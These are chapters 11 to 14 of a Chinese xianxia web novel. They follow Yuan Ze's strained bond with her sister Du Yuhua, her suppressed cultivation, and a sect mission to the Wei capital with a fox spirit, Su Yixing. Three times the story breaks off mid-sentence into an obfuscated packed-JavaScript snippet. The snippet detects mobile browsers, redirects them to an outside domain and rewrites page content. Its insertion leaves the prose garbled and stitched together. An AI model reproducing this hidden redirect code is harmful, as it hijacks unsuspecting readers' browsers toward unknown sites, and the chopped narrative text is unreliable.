元泽盯着无数人艳羡的目光,一时无所适从,“没这么夸张……” 杜玉华转身离开。 不出半日,元泽的名字几乎传遍整个学府,所有人都知道,壬班出了个绝世天才。 很多她连见都没见过的人突然凑过来,扬起笑脸说着示好的话。 元泽从没有接受过这样的热情,她有些茫然,绞尽脑汁想好该怎么答复,对方却已经走远了。 “阿玉,”元泽想找杜玉华讨教一下,话还没说出口,杜玉华一见是她,立刻换一个方向走。 “……” 元泽说不出的郁闷,昨天测试之后,阿玉就好像生气一样躲着自己。 她叹了一口气,先去找长老吧。 阿玉生辰快到了,晚些再下山给她买个礼物,哄她消消气。 11. 前世(三) “长老,”元泽有些拘谨地坐在沈良凤对面。 沈良凤给她倒了一盏茶,“在学府修行,还习惯吗?” “嗯,习惯的。”元泽捧起茶盏喝了一口,被苦得眉梢抽搐。 “两年前,我们曾有过一面之缘,你可还记得?” 元泽点头,“记得。” 沈良凤笑了笑,“我们也算有缘,入宗测试还有不到两年,我有意收你做亲传弟子。” “真、真的吗?” 从学府进太清宗只是进外门,还有一道内门考核,表现优异才有入内门的资格,亲传弟子更是百里挑一。 “我不骗人。” 元泽有些恍惚,甚至感到一丝不真实。她居然也有这样好运的时候。 等她做了亲传弟子,学有所成,爹娘一定很高兴。 她不像玉华会说哄人开心的话,她只有把活儿干得漂亮,才有可能得到一句夸奖一声关心。 元泽低下头抿唇笑了笑,因此她没瞧见沈良凤眼中闪动的愧疚和忧虑。 “我只留一个月,接下来的时间,你每天晚上都来我这修行,能不能做到?” “可以。”元泽毫不犹豫。 沈良凤点点头,“那从今日开始。” “……”元泽犹豫道:“今天我想出去买些东西。” 沈良凤很好说话,“那便明日。” 元泽身上所剩的钱两并不多,她从中拿出大半,在城中店铺仔细挑选,最后选了一只淡金的兰花发簪。 商家得知这是她送给妹妹的生辰礼,很热心地要送一个首饰盒给她,“这些都是,你挑一个!” 盒子都大差不差,元泽选了一个雕刻兰花纹路的,和簪子很搭配。 “好嘞!”商家将发簪放进盒中,“姑娘要不要给你自己买一个?这些都很适合小姑娘们。” 铺子上摆满了琳琅满目的精美首饰,不过买一支已经是极限了,而且她也不适合这些东西。 回去时已经很晚了,屋内漆黑一片。元泽不确定玉华有没有睡着,小声叫了她的名字。 “……” 看来睡着了。元泽将礼物放在桌上,忽地听对面床榻传来杜玉华不悦的音调,“你做什么这么晚才回来?” 元泽立刻说:“我去外面给你买生辰礼,我放在桌上,你明早起来就能看见。” 杜玉华干巴巴“哦”了一声,不轻不重地翻了个身。 第二日元泽起得晚了些,对面床铺已经空了,桌上的首饰盒也不见了。 门扉突然被推开,晨光倾洒进来,杜玉华端着洗脸的木盆,她已经洗漱过,脸上泛着湿润水汽。 她只看了一眼元泽一眼,将盆放在架子上,“来洗脸,再晚晨修就迟了。” 两人一起出门,在寝室到学堂的必经之路上遇见怀荧,她打量着两人,眨了眨眼,“和好啦?” 杜玉华有些别扭,元泽不知道说什么,怀荧噗嗤一声笑了,主动揭过这茬。 按照约定,学院的修行结束之后,晚上元泽还要找长老单独修炼。她不知该如何跟杜玉华开口,直觉告诉她,对方知晓后可能不会开心。 然而却是杜玉华先找到她,“阿姐,演武场上大家自发聚集晚修,我以后都会很晚才回去。” 元泽点头,“好。” 总之长老在学府待不了多久,而且亲传弟子的事还早,起码要通过入宗考核,晚些说也不迟。 然而天下没有不透风的墙,在沈良凤离开的前一天,她在院中教了元泽一套简单的剑法,被前来向司教辞行的甲班弟子路过看见。 当晚元泽回到寝室,杜玉华早已等候多时。 “今日没有晚修吗?”元泽问。 杜玉华只想冷笑,“我再晚修有什么用?有你平步青云来的快吗?” “阿玉……” “怎么,是看不上我这个妹妹了?想跟着长老去太清宗,然后再也不管我!不管爹娘!” 元泽急道:“不是!我只是没想好怎么告诉你。” “我看你根本没想告诉我!” 要不是晚修听人谈论起这件事,杜玉华怕还要被蒙在鼓里。 从小到大,元泽都是只会对她好的阿姐,无论她说什么做什么她都不会生气。 村里同龄的孩子不喜欢元泽的沉默寡言,父母也更加喜欢自己。 每次她看见元泽被孤立,观察她落寞的眼神,总会莫名感到满足。 她有时会主动对她表达善意,只是一句简简单单的关心,或者一颗不知放了多久的糖果,元泽都无比珍惜。 这个世上只有她会对元泽好。 元泽身边只有她一个人就够了。 可现在一切都变了,元泽居然有那么高的天赋,还瞒着她偷偷去长老身边修行,杜玉华无法接受这样的失控感。 “对不起……”元泽看着愤怒的妹妹下意识道歉,但她想不出别的解释的话,更不知道杜玉华为什么会这么生气。 这天过后,元泽与杜玉华几乎彻底决裂。 怀荧作为两人共同的朋友,劝和无果,最后只能尽力端水。时间久了,她显然和杜玉华待在一起的时间更多。 月底的测试如期而至,一个月的时间变化不会太大,上升最明显的是杜玉华。 这般速度已是相当难得,但所有人的注意力都在后面的元泽身上。 “她就是元泽?” “听说她已经跟沈长老修行了,亲传弟子大约八九不离十。” “她这样的天赋长老也得抢着要。” 有人还记得上月测试的骇人一幕,“元泽不会筑基了吧?” 众人瞩目下,元泽将手掌贴在量石上。 纹路亮起,距离最顶端不过寸许。 “好牛啊!” “难道我要见证一个大能诞生了么?!” 少年们比元泽还兴奋,司教也满脸欣慰,几百年没出过这样的天才了。 元泽是这些人中最平静的,她转过头,杜玉华已经离开。 母亲让她照顾好妹妹,她却惹得她这样生气。 元泽想过再出去买个礼物哄哄杜玉华开心,但她没剩下多少钱两,这些得留着备用。 太清学府每日的修行课程固定,晨修主要研读心法打坐修炼,午后司教才会传授剑法、功法、妖魔的降服技巧等,当然这些都是最简单的。 现在元泽手中的只是木剑,等入府满三年或提前筑基,学府才会给弟子佩真正的剑。 “剑道乃修者第一大道,若你们日后能真正拜入太清宗,可辅修一门别的,”司教将弟子的手腕压了压,端正他练剑的姿势,而后继续巡视,“若是天赋异禀,也可直接作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元泽迟疑地站在原地,她们已经很久没说过话,杜玉华不会和她一起结束晚修,很多时候都是她准备睡了床上元泽才回来,或者相反。 “晚上我和怀荧出去逛了逛,”杜玉华心情很好地扬起唇角,“给你带了一盒枣花糕,很好吃。” 元泽微怔,疑心自己是不是听错了,“……给我的?” “嗯,”杜玉华拍了拍身边的凳子,“过来尝尝。” 元泽慢吞吞地走过去,拿起一块造型精致的糕点,咬了一小口,“好吃。” 杜玉华托着腮,“那多吃点。” 元泽将一整块吃下去,突然想起什么,“是不是很贵?” “还好,二十文一块。” 元泽点点头,“你今日花了多少?我明日还给怀荧。” 如果不够的话,她就想办法去外面挣些银子,晚修只能停一段时间了。 “还什么?”杜玉华奇怪,“我有银子啊。” “你有?” 杜玉华不明白元泽为何这么惊讶,理所当然道:“娘出门前给过我啊。” 元泽整个愣住,口腔里残存的糕点甜味突然变成了令人反胃的酸。 母亲给她钱袋时特意叮嘱:“阿玉年纪小不懂节制,钱放在你这,一定要省着花。” ——慈祥的声音不断地在她耳边回响,元泽头晕目眩。 “娘…娘给你银子的时候,有说什么吗?” 杜玉华看着元泽的脸色一下苍白起来,不太明白发生了什么,“娘说如果没进学府,银子回家时再花;如果能进学府,就给我添东西用。” 元泽忽地站起身,“你先休息,我出去透透气。” 她推开门,头也不回地奔进了月色里。 12. 方圆密界 “阿玉,你进阶我自然为你高兴,怎么会怪你。”元泽站在院中,离杜玉华很远,“你在却邪峰修炼繁忙,不用总来无为峰。” 杜玉华微怔,“阿姐,我只是在关心你,怕你在无为峰受委屈。”她目光恳切,“入宗时我劝你和我一起来却邪峰,你也不愿听我的……” 元泽不想跟她谈论过去,那些往事每每回忆起来,她都觉得不舒服。好像一根无形的尖刺,埋在她的心里,不见血迹。 她淡声道:“若没别的事你先回去吧。” 杜玉华还想说什么,忽感应一道传音被结界截停,她抬手将传音接进来。 “怀荧说师尊出关了,”杜玉华放下手,再次说道:“如果你遇到麻烦尽管来找我,我们是姊妹,合该比旁人更亲近。阿姐,我先走了。” 杜玉华一走,草绒里探出两只短乎乎的手,抱住元泽的小腿。同时一道红光划到眼前,苏遗星过分漂亮的面孔侵占视野,“你心情不好吗?” 草绒也伸出自己淡蓝色的喇叭花,“元泽谁欺负你?!” 元泽看着两个家伙一惊一乍的样子有些想笑,“没有。” 石桌上摆着空空如也的饭盒,元泽施了个清洁术然后收起来。 草绒顶着两片叶子滚到苏遗星面前,“你会化形了?” 苏遗星长身玉立,鲜红衣角飘飞,笑音清亮,“我早就会了,你也快努力吧。” 草绒颇为嫉妒地“哼”了一声。 元泽回首,草绒深受打击地窝回墙角的花丛里,丛中花叶摇摆,大约是在安慰它。苏遗星凑到元泽面前,“元泽,刚刚的人是你妹妹?” “嗯,”元泽在石桌边坐下,灵识探进乾坤囊翻找。 “她跟你长得不像。” 苏遗星天生五感敏锐,灵台清明,他的伴生术法也是少见的识灵追踪。 从方才的人身上,他感受不到丝毫与元泽同出一脉的气息。 元泽不假思索:“她更漂亮。” 苏遗星一凛,几乎要炸毛,“胡说!你最好看!” “……” 完全没想过会听见这句话,从没有人在杜玉华和她之间选择她。 元泽愣了好一会,她“唰”地将书从乾坤囊抽出来,“这个给你,我、我先去修炼。” “欸……”苏遗星下意识伸手捧起书册,封面上书“阵修入门”。 “这是什么?”苏遗星眨了眨眼,他还不识字呢。 星月浮空,太清宗夜游者众多。或月下舞剑或亭中对弈,或三两成群把酒言欢。 但若酒水饮过,又恰好被长老捉住醉态,免不了要被送去戒律堂一趟。 除了有外派,元泽剩下的时间基本都待在自己的洞府,今日也是。 太清宗内的灵气较别处更加充沛,她闭目打坐,感受着灵力在经脉中涌动,但丹田中的金丹丝毫没有结婴的征兆。 当初在太清学府,沈良凤让她晚上去她那儿继续修行,抑制修为的禁制大约也是那时放在她身上的。 她在炼气期停滞了很长时间。入宗测试前夕,她整夜没睡,居然松动了那道禁制,在最后关头筑基。 那一年壬班有三人筑基进入太清宗,在外门修炼三月后,再参加三年一次的内门大比。 抽签两两对垒,胜者再比,最后有四分之一的弟子进入内门。 往届大比中落选的外门弟子有单独签池,只是他们的要求更加严格。 各峰长老根据大比表现,决定是否收亲传弟子。 杜玉华和怀荧无疑是那一届中最出色的两人,顺理成章被却邪峰大长老看中。而沈良凤收了表现平平的元泽。 大比中她胜了两场,潜力被一再激发。进无为峰没多久,她闭关冲击金丹期,沈良凤为她护法。 元泽花了半年才出关,远超结丹所需的时间,而在那之后,她的修为毫无寸进。 沈良凤一定是那个时候在她身体里下了一道更完整强大的禁制,凭她自己无法让其松动。 呼出一口浊气,元泽睁开眼结束复盘。 历经前世,她知道沈良凤是用心良苦,不得已而为之。 但她难免不甘,如果自己真的是个废柴就也罢,偏偏是被人为压制。 这一世她需找到万全的法子,不能一直被禁制,也绝不能再被沈若淳夺舍。 翌日清晨,元泽收到师尊的传音。 【速来】 约莫是禁制的事有眉目了,元泽立刻赶往沈良凤的洞府。 到了之后却发现不止她一个人,徐丽影率先同她打招呼,“师姐。” 魏则荣正在赏谭中荷花,闻言转身颔首,“元泽师姐。” “都来了,”沈良凤从阁楼飘然而下,落在亭台之中。 三人齐声:“师尊。” 沈良凤点头,“此次叫你们前来,是有件要事。” 魏则荣:“师尊请讲。” “魏国皇都出现诡修,翰林院十日死了五人,”沈良凤看向他,“国主向太清宗寻求帮助,也希望你能回去一趟。” 诡修是用寿元和神志换取力量的邪道,注定不能飞升。但因其不需要灵根,且能快速获得强大力量,不乏心术不正之人暗地里修习。 元泽记得这个任务非常重要,太清宗派了年轻一代最出众的几人一同前往,其中包括怀荧、杜玉华和魏则荣,魏则荣本身也是大魏的二皇子。 但前世自己并没有去。 “是,师尊。”魏则荣点头。 “你们三人即刻出发,另外还有却邪峰两人和千机峰一人,务必用最快的速度赶往魏国都城。”沈良凤示意他们去准备,“元泽你先留下,我还有话交代。” 等魏则荣和徐丽影出了洞府结界,沈良凤对着元泽暗含期待的眼神,缓缓摇了摇头:“那道禁制从仙古流传下来,霸道强悍,我连夜翻阅古籍也不得改动之法。” 元泽皱眉,“那先暂时解开呢?” 等她突破之后再封住,这样的话,修为进度可以把控在一个不惹人注意的范围。 沈良凤撇了她一眼,“你当这种上古禁制是儿戏?” 第一次元泽□□脆弱,她怕出意外,只用了不到一半的灵力。 后来元泽冲开禁制,临近结丹。她再次动手时,每一道禁纹的灵力消耗都比第一次都多了数倍,花了几个月还险些失败。 这种禁制太过逆天,施术者与被施术必须要有十分巨大的实力差距。若是元泽的修为再稍稍提升,恐怕都无法成功施术。 这也不行那也不行,元泽有些烦躁。 她讨厌这般束手束脚,她只想看着自己的实力无限提升。前世被追杀四处逃命,但修为一 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回到自己的院子,元泽一开门便见桌上歪着一个红衣少年,他一头黑亮头乌发扎了个高马尾,一半铺在石桌上,一半垂在空中。 草绒也在晒太阳,被苏遗星有一搭没一搭地拍着,“你说她去哪儿了?” “去拿吃的了吧,”草绒懒洋洋地声音一落,一片叶子滑了下来,正好看见了门边的元泽。 它立刻从苏遗星手底下溜走,“你回来啦!” “没去饭堂,”元泽恍惚自己养了宠物一样。她看向朝自己小跑过来的少年,侧脸还有一块被压出的红印,不由笑了下,压抑的心绪放松些许。 “饿了吗?” “还好,”苏遗星昨天吃得很饱。 元泽道:“我有事出门一趟,待会给你一些辟谷丹,三天服用一枚就够了。” “怎么又要走哇!”草绒翘起喇叭花,“我不想再吃虫子和草啦!” 苏遗星上前一步,“你去哪?我和你一起去好不好?” “不行,我有重要的事,”元泽下意识道。 苏遗星有些失落,鲜艳的色彩暗下好几度,“哦……” “……”元泽轻咳一声,“也…也不一定。” 苏遗星扬眉,立刻高兴起来。 元泽补充,“记住,在外面你是我的灵宠,要听话。” 苏遗星连连点头,顿了顿又道:“我可以真的做你的灵宠。” “……”元泽一时无言,眸中淌过暗色,半晌扯扯嘴角,“灵宠血契霸道,你不会喜欢的。” “我也要去我也要去!”草绒不满地嚷叫起来,“凭什么他去我不能去?!元泽你偏心!” “好了,等你学会化形再说好吗?”元泽语重心长,“不然你想,大家一起出任务,就我带着一大团草,多不合群。” “呜呜呜!我早晚化形!” 安抚好草绒,差不多到该出发的时辰了。 “走了。” “好!” 打开门,魏则荣和徐丽影居然已经等在外头了,四人碰面,还都是熟人。 魏则荣扫了苏遗星一眼,徐丽影笑道:“师姐,一起走吧。” 就在这时,却邪峰方向有两道人影御剑而来,其中一人率先落地,嘴角微扬,眼神却很淡,“阿姐。” 13. 小黄狗 元泽看向两人,“你们怎么来了?” 怀荧示意杜玉华,“阿玉怕你一个人太孤单,特意过来与你同行。” “不过现在看来,是我多虑了,”杜玉华半开玩笑地道:“没想到阿姐现在有这么多朋友。” 徐丽影和魏则荣对视一眼,原来传闻是真的,杜家姐妹的感情果然很好。 魏则荣道:“怀荧师姐、杜师姐,我们去千机峰带上唐师姐就出发吧。” 翰林乃国之重地,多耽误一刻就多一分危险。 众人即刻前往千机峰。 太清宗有四峰一堂,却邪峰、无为峰、千机峰、百草峰,千机峰是器修聚集地,宗门中人使用的灵器法宝都是出自他们之手。 百草峰皆是医修,人手一顶炉子,每日不是研究药理就是炼丹,战斗力也是所有修士中最弱的,一般情况不出外派。 一堂戒律堂,堂内有七位戒律长老掌罚,大能比各峰都要多,掌门之下最有权柄。 “听起来很吓人,”苏遗星扶着元泽的肩膀被她带着御剑,衣角猎猎墨发飞扬,“如果不是你,我就要被送去戒律堂了吧。” 元泽顿了顿,“不会的。” “阿玉,元泽剑上的人是谁?”怀荧御剑和杜玉华并行。 杜玉华哪还有笑意,“不知道。” 她从没见过这个人,剑都不会御,只有一脸张还看得过去。 千机峰在太清宗最西边,有全宗门最大的演武场,许多弟子在试用法宝武器,器修在一边观看,并记录有没有需要更改的地方。 “这里!”演武场边缘,一个背着斜挎包的少女蹦蹦跳跳朝空中的几个人挥手,两条麻花辫一抖一抖。 演武场每时每刻有人来往,元泽等人落地没有吸引多少目光。 “我准备好了,出发吧!”唐朵朵拍了拍自己的挎包,掩盖不住兴奋之色。 所有人到齐,魏则荣放出乾坤囊中的飞舟。 元婴期以上才有足够的灵力支持长时间御剑,且修为不同御剑的速度也大不相同。用飞舟是最好的选择。 七个人陆续登上飞舟,元泽正准备让苏遗星进船厢里,一颗脑袋挤了过来,亮晶晶的眼睛盯着苏遗星,“嗨,美女。你是哪个峰的弟子?我怎么从没见过你?” 苏遗星后退半步,“你……” 元泽也有点懵,“唐师姐?” “阿……是男孩子,”唐朵朵讪笑,而后从怀里掏出一张卡片,“这是我的名片,如果有炼器需要欢迎找我,我给你打半折哦。” 苏遗星还没反应过来,手里就被塞了一个打磨光滑的薄木片。 魏则荣启动飞舟,徐丽影走过来正好见到这一幕,不由扶额,“朵儿师姐,不要每次看见漂亮的人就这么冒昧。” “我哪有,”唐朵朵挽过徐丽影的手臂,“你怎么这么久都不来找我。” “前两次外派连着出的,没有休息。”徐丽影道。 “好吧,”两人走到船沿看风景,“阿丽,你看我的头发好看吗,我自己编的……” 见人终于走了,苏遗星松了一口气,小声道:“你们为什么都叫她师姐?她看起来很小。” 元泽道:“千机峰和百草峰特殊,不少弟子是长老游历带回来的,唐师姐八岁就拜入师门了。” 她打开船厢和苏遗星一起进去,“对了,我给你的书你学会多少了?” “你说这个?”苏遗星将怀里的《阵修入门》拿出来,有些郁闷,“我不认识上面的字。” “……” 元泽压根没想到这一环。 仙古之后少有阵修,它不像器修医修对修为要求不高,也不像灵修专心修炼就能提高实力。 仙古传承的阵法玄妙晦涩,学习难度极高,多的是人穷其一生只能参透某一种阵法。 但布阵又需要大量灵力,那些阵修辛辛苦苦学会,修为却落下,导致自己没有足够的灵力支撑。 百年前太清宗就已经没有阵修了,前辈汇聚心力演化下来的简单阵法,只有灵修会在闲暇时学,就像捆缚阵。 前世的苏遗星在阵法一道很有造化,只凭在藏书阁看的那些书,就能帮她在数名大能间周旋逃跑。 所以前世他是怎么做到的? “你不高兴吗?”苏遗星讨好地看着她,“我一定会想办法学会的。” “没有,”元泽很无奈,这狐狸看起来也不聪明啊。 左右现在没什么事,到魏都还有很长时间,“那我教你识字吧。” “好。” 笔墨纸砚铺开,元泽先从简单的开始教。教着教着她就发现,这家伙还真挺有说法的,无论什么字一遍就会。 “苏、遗、星,”元泽拿出一张新纸,写下这三个字,“这是你的名字吗?” 苏遗星点头。 元泽奇怪,“不是不认字吗,你怎么知道一定是对的?” “小时候母亲给我取名字,写在了土上,我还记得。” “你的母亲?”元泽从没有听他说起这个。 “我很小的时候,母亲身体不好。有天我独自在山洞里睡醒,母亲就一直没有回来。”苏遗星低声道,“后来我饿得没有办法,只能自己出去找吃的。” “那时候是不是很害怕?” 元泽想象了一下,小小的一只狐狸不知道有没有山鸡大,可怜兮兮地出去捕猎。 “也还好,”苏遗星看着她柔软的眼神,鼓起一点勇气,“你……” “山上经常有人放捕兽夹的,很危险,”元泽想起回溯之镜里的画面,若不是孙芝兰救了他,恐怕凶多吉少。 “我幼年在山上遇见过一只小黄狗,也跟你一样被捕兽夹咬住,就这么一点点大,”元泽放下笔,双手比划了一下,“很可怜,应该跟那时候的你差不多。” “……?”苏遗星觉得天塌了,“小、小黄狗?” 怎么会是狗呢?! 还不如不记得。 元泽点头,“嗯……你怎么了?” “阿姐,”船厢的门突然被打开,杜玉华站在外面,“我们到魏都了。” “这么快?” “马上戌时了,”杜玉华走进来。 元泽手边摞了一叠写满字的纸,和红衣少年并排坐在桌案前,摊在中间的一张纸上只有三个字。 “苏遗星?”杜玉华看向少年,“你是内门弟子?” “不是,他是我的灵宠,”元泽站起身,顺手将他肩上的马尾捋到脑后,“我们出去吧。” “好。”苏遗星将元泽写过的纸全部收起来,放进元泽给的乾坤囊。 两人很快离开,元泽经过杜玉华身边时也只是点头示意。 不一样了……元泽完全变了。 杜玉华眉头锁紧,阿姐一贯独来独往几乎没有朋友,只跟她亲近。每次自己来找她,元泽都很开心。 甚至她洞府里的藤木秋千,也是元泽哄她高兴才搭的。 灵宠? 那团草她知道,很早就养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241372|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在元泽的院子里,应该还不会化形。 ——苏遗星是那只红狐。 原来是狐妖,惯会蛊惑人心。 - 大魏是当今世间国力最强盛的国家,都城定中更是遍地香车,美人才子无数。若是想发财,直接脱光衣服去玉带河里捞一圈,满手金银细软。 夜色浓郁星子零散,老远就能望见定中城华光璀璨。不是节日,仍有烟火升空,也不知博得多少喝彩。 唐朵朵踮起脚,“好热闹啊!魏师弟,他们晚上都不休息吗?” 现在的飞舟是怀荧操纵,魏则荣得闲远眺,眸中有怀念之色,“城中不设宵禁。” “我还没来过这么繁华的地方,”元泽手搭在木制船沿,“说来也是,那些好地界的外派轮不到我。” 苏遗星站在她身边,看看远处的定中城,又看看元泽的侧脸,“其实也差不多,就是灯火亮一些。” 元泽一下笑了,“你说得也对。” 飞舟落在城门口,几人陆续下去。魏则荣走在前方,拿出怀中表示身份的玉佩,还没说话,朱红城门已缓缓打开。 “早就接到诸位出发的消息,特意在此等候众仙君。” 两列甲胄整齐的士兵鱼贯而出,中间一人头戴金冠身着华袍,外衣用金线绣着一只踏火麒麟,缓步出现在众人的视野中。 “一别数年,你我兄弟二人,今日终于是又见面了。” 背着城中光亮,魏则荣只能看见兄长五官大概的轮廓,但记忆中的声音丝毫未改,“皇兄。” “这个出场方式,”唐朵朵凑到徐丽影耳边低声道:“很反派。” “朵儿师姐慎言,”徐丽影立刻四处观察,“被人听见就遭了。” 元泽歪头,“我听见了。” 徐丽影:“……” 唐朵朵瞪大眼睛捂住嘴巴。 魏则荣回头默默看了她们一眼,“走了。” 那位“反派”正做一个请他们进去的手势。元泽点头,也跟苏遗星道:“走吧。” 城内街灯明亮,能看见正大街上人影攒动,更有丝竹之声远远飘来。 元泽几人的相貌仪态脱俗于世,夜间也分外惹眼。魏则明示意手下牵来的两辆金纹马车,“烦请移步,我带诸位仙君进宫面圣。” 进城之后魏则明的脸也清晰起来。魏则荣与他确实有两分相似,尤其是舒朗的眉宇,只有眼尾的弧度微微不同,魏则荣眼尾平直,更显正气。 无论从气息还是外貌来看,都很明显是兄弟。 苏遗星下意识看向元泽与杜玉华,却不料被杜玉华逮个正着,对方睨着他,好像他偷了她辛苦追三座山才捉回来的兔子。 魏则明道:“仙君看,哪三人与我同乘一车?” “魏师弟一定和殿下一起,我们再选两人过去就好了。”怀荧道。 元泽很快,“我们坐另一辆车。” 苏遗星点头,“嗯嗯。” 杜玉华咬着牙,“阿姐……” 唐朵朵已经拉着徐丽影的胳膊去元泽那边,“阿丽,我们也跟元泽一起吧。” “……” 顶着杜玉华犹如实质的目光,徐丽影斟酌道:“不然我和怀荧师姐——” “不要不要,”唐朵朵紧紧拽着她。 徐丽影虚弱一笑,看向元泽。 “……” 一边牵马的卫兵揉了揉眼睛,不是都仙人吗?选个马车也这么讲究? 不行直接飞过去呢? 14. 月黑风高 元泽没瞧见徐丽影的求救眼神,她和苏遗星已经先一步上了第二辆马车。 唐朵朵生怕晚了,赶紧拉着徐丽影跟过去。 “走吧,”事已至此,怀荧拍了拍杜玉华的肩膀,“朵儿师姐年纪小。” 两辆华贵的马车从城门一路行驶至宫中,元泽与苏遗星坐在一侧,唐朵朵面对面盯着苏遗星的脸,黑眸亮晶晶。 “……” 苏遗星如坐针毡,元泽闭目养神,徐丽影一个头两个大。 她想了半天,终于想到一个转移唐朵朵注意力的话题,“朵儿师姐,你这次怎么会跟我们一起来?” 千机峰的弟子虽然有一定的自保手段,但通常很少出外派。 唐朵朵果然转头,“峰内的藏书阁我都看得差不多,没什么有意思的东西了。听说魏国皇室有一个厉害的空间法宝,我想来研究研究。” 元泽忽地睁开眼,她方才就在苦恼要怎么借人家的传世秘宝,没想到瞌睡就有人递枕头,“你能借到方圆密界?” “不知道哇,到时候你们把皇帝的事情办漂亮,再帮我说说好话,”唐朵朵双手合十,“拜托了。” “……”元泽一噎,果然没那么顺利。 不多时马车停下,元泽等人陆续下车。 比起外头,皇宫内显得冷清不少,只能看见值夜巡逻的卫兵和跑腿的侍从在外头。 “劳烦诸位稍等片刻,我先向父皇请示。”魏则明看向魏则荣,“你随我一同进去吧。” 魏则荣点头,“好。” 元泽几人等在鎏金殿外。这时,宫道深处走出一位提着灯笼的宫女,她仔细端详过众人的面孔,有些犹豫地问道:“诸位是太清宗来的仙君吗?” “正是,”怀荧点头,“请问姑娘有何事?” “唤我何枝便好,”何枝福了福身,“我是瑾妃娘娘的贴身侍女,听说二殿下回宫,娘娘差我过来看看。” 徐丽影道:“魏师兄在殿中面见陛下,应该快出来了。” 瑾妃是魏帝宠妃,也是魏则荣的生母。 据说魏帝微服私访时对她一见钟情。 瑾妃乃县丞之女,不到半年封妃,更是独宠后宫多年,育有一儿一女,在坊间也是一段帝王情深的佳话。 元泽也听过几耳朵。 正说话间,鎏金殿门打开,两道修长的人影并排走出,步下台阶。 “……殿下。”何枝喉咙一哽,险些流出泪来。 魏则荣一下认出了她,“何枝?” “这么晚了瑾妃娘娘还没休息?”魏则明问道。 何枝连忙见礼,“大殿下,娘娘只是多年不见二殿下,念子心切。” 魏则明没与何枝多言,他挥手召来身后副卫,“带几位仙君在抚仙阁安顿,切勿怠慢。则荣,夜深去后宫多有不便,暂且等明日吧。” 魏则荣面色如常地点头,“好。” 何枝没再说话,福身请退,低头匆匆离开。 待魏则明与众人告别,只剩副卫在前方领路,魏则荣的面色终于冷凝起来。 抚仙阁建成三百余年,也是魏国开国供奉散修的居所。阁内早无人烟,因其特殊性,一直没有旁人入主,只是定期有侍从清扫。 “仙君早些休息,明日一早刑部的窦大人就会过来,翰林的案子一直是窦大人负责的。” 魏则荣点头,“有劳。” “不敢当,”副卫弓身抱拳,“二殿下,卑职先告退。” 抚仙阁上下七层烛火明亮,宫女侍卫一应俱全,几人刚刚跨过门槛便有六七个裙装宫女迎上来,要引他们入寝殿备水洗漱。 这阵仗,没靠近元泽就闻到一股脂粉香料味,她左右看了看,其他人都是一脸不自在。 魏则荣也没好多少,“不必,你们向出去,没有吩咐不用进来。” “是。” 香风一阵阵飘走,魏则荣眉心微拧,一言不发地上楼进了一间屋子。 元泽侧目,这人步伐略微急,明显状态不太对。 魏则荣说到底是皇室子孙,说不定可助她借到方圆密界,能帮的地方还是帮一帮。 她心下有思忖,在屋里没坐满一柱香时间,就敲响了隔壁的门。 门扉打开,苏遗星只着了一件单薄的里衣,半截雪白笔直的锁骨露在外头,墨发披散着,眸中隐有倦意,“元泽?” 元泽忽然觉得自己好像有些冒昧,“你在睡觉?” “没睡着。” 苏遗星揉了揉眼睛,他聚精会神学了一天的字,原本是打算看看那本书巩固一下,没想到才看了两行就犯困。 “那你休息吧,不要睡得太沉。” 妖能化人形即代表有筑基的修为,定中城的魔修还不知是什么来头,需小心为上。 苏遗星睁大眼睛注视着她,“你要出去吗?我不困,我跟你一起。” 见他这幅样子,元泽就知道说什么都没用,只好点头答应。 苏遗星回屋将衣裳穿整齐,最后抬手给自己扎马尾。 他这个姿势显得腰身劲瘦,从胯骨到肩膀的线条起伏舒张,透着一股莫名的美感。 元泽站在外头看得清清楚楚,当然也不是她想看,只是因为他压根没关门。 两人下楼,堂中却已有了两道身影。 徐丽影和唐朵朵转过头,四双眼睛相对而望,元泽挑眉,“你们这是?” “朵儿师姐说要来帮魏师兄。”徐丽影有些无奈。 唐朵朵拂了拂额发,用一副很有故事感的口吻说,“有言道自古帝王多薄情,所谓恩宠更是水中月镜中花,瑾妃娘娘现在不一定过得好。而且从进城到现在,魏师弟就一直被架着。” “他方才的眼神你们见着了吗?简直蠢蠢欲动啊。”她一脸高深莫测,“所以我猜,他今晚一定会偷偷去看她妈妈。” 苏遗星问:“妈妈?” “额…我老家的叫法,就是母亲的意思。” 元泽没想到唐朵朵的想法居然和自己一样,“唐师姐心地善良。” 唐朵朵眯眼笑,“主要还是想吃瓜。” 徐丽影不解:“吃瓜?也是你老家的叫法?” “嗯,就是看热闹的意思。” 桌上备着茶水,四个人干脆坐下一人倒了一杯,还没喝两口,木质的楼梯传来细微的响动,人影下楼的动作一顿。 四个人抬头,果然是魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241373|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则荣。 魏则荣怎么也没想到深更半夜有一群人坐这喝茶,“……你们怎么还未休息?” 唐朵朵装模作样地端起茶盏,“唉,不知那诡修的底细,好害怕明天有危险啊。” 魏则荣额角青筋跳了跳,“师姐,你是器修,明日不用你动手。” 唐朵朵:“……忘了。” 徐丽影正色道:“师兄,你可是要去寻瑾妃娘娘?” 魏则荣瞬间明白了,这些人是在这等着他呢。 